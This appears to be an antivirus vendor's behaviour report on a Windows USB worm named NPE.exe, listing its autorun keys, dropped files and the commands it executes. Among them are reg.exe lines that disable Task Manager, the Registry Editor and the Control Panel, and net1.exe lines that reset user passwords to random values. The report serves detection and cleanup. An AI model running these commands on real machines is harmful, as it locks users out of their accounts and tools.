Technical Information
To ensure autorun and distribution:
Modifies the following registry keys:
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'NPE.exe' = '%ALLUSERSPROFILE%\Start Menu\Programs\Startup\NPE.exe'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'Emsisoft Anti-Malware Beta 1' = '%WINDIR%\Emsisoft Anti-Malware Beta 1'
Creates or modifies the following files:
- %ALLUSERSPROFILE%\Start Menu\Programs\Startup\NPE.exe
Creates the following files on removable media:
- <Drive name for removable media>:\autorun.inf
- <Drive name for removable media>:\NPE.exe
Malicious functions:
To complicate detection of its presence in the operating system,
forces the system hide from view:
- file extensions
blocks execution of the following system utilities:
- Windows Task Manager (Taskmgr)
- Registry Editor (RegEdit)
Executes the following:
- <SYSTEM32>\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v NoDesktop /t REG_DWORD /d 1 /f
- <SYSTEM32>\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoDesktop /t REG_DWORD /d 1 /f
- <SYSTEM32>\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f
- <SYSTEM32>\net1.exe user admin * /RANDOM
- <SYSTEM32>\net1.exe user %username% * /RANDOM
- <SYSTEM32>\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Advanced /v HideFileExt /t REG_DWORD /d 1 /f
- <SYSTEM32>\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoRun /t REG_DWORD /d 1 /f
- <SYSTEM32>\reg.exe add HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v noclose /t REG_DWORD /d 1 /f
- <SYSTEM32>\reg.exe add HKLM\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
- <SYSTEM32>\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f
- <SYSTEM32>\reg.exe add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoFolderOptions /t REG_DWORD /d 1 /f
- <SYSTEM32>\reg.exe add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f
- <SYSTEM32>\reg.exe add HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v noclose /t REG_DWORD /d 1 /f
Modifies settings of Windows Explorer:
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoFolderOptions' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoRun' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoDesktop' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'NoControlPanel' = '00000001'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] 'NoControlPanel' = '00000001'
- [<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer] 'noclose' = '00000001'
- [<HKCU>\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer] 'noclose' = '00000001'
Modifies file system :
Creates the following files:
- C:\autorun.inf
- C:\NPE.exe
- %WINDIR%\Emsisoft Anti-Malware Beta 1
Miscellaneous:
Searches for the following windows:
- ClassName: 'button' WindowName: ''
- ClassName: 'Shell_TrayWnd' WindowName: ''